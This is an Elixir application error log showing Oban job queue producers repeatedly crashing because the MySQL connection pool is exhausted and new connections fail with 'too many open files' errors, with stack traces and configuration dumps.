State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:05:07.238839Z], limit: 5, uuid: "8608b050-0db4-469e-b789-9df169b6a820", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:07.238845Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44592>, refresh_timer: #Reference<0.2525715032.1099431938.44537>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:05:07.239599Z], limit: 10, uuid: "b7b3c3cc-d558-4276-bd8a-800daefeb02f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:07.239603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44590>, refresh_timer: #Reference<0.2525715032.1099431938.44579>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:05:07.240683Z], limit: 50, uuid: "46703172-c609-4761-8944-217a30a590ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:07.240689Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44595>, refresh_timer: #Reference<0.2525715032.1121189889.156596>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:19.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:05:07.239620Z], limit: 20, uuid: "1d9a9a8e-36b6-4909-b327-826c731fba1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:07.239627Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44593>, refresh_timer: #Reference<0.2525715032.1077673987.20895>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:19.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:05:07.239094Z], limit: 5, uuid: "780b08e9-37c8-4f3e-acdb-adf72c108f89", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:07.239100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44591>, refresh_timer: #Reference<0.2525715032.1099431938.44552>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:22.770000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:22.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:22.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:23.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:30.140000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:30.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:30.637000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:05:19.244217Z], limit: 3, uuid: "b6a9a0cf-002e-434c-9836-ccf2659fe8f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:19.244222Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44870>, refresh_timer: #Reference<0.2525715032.1099431938.44851>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:05:19.242377Z], limit: 50, uuid: "26c697ba-99e3-4d81-b917-cbd26a018852", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:19.242383Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.21083>, refresh_timer: #Reference<0.2525715032.1068498948.45114>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:05:19.242723Z], limit: 10, uuid: "d4294b1e-4eab-48d7-b427-a26a5fb3daa4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:19.242729Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44871>, refresh_timer: #Reference<0.2525715032.1077673987.21050>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:05:19.242605Z], limit: 5, uuid: "bb34f4b9-f12c-4650-8fc1-6add38d21b74", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:19.242613Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.44872>, refresh_timer: #Reference<0.2525715032.1068498948.45113>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:31.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
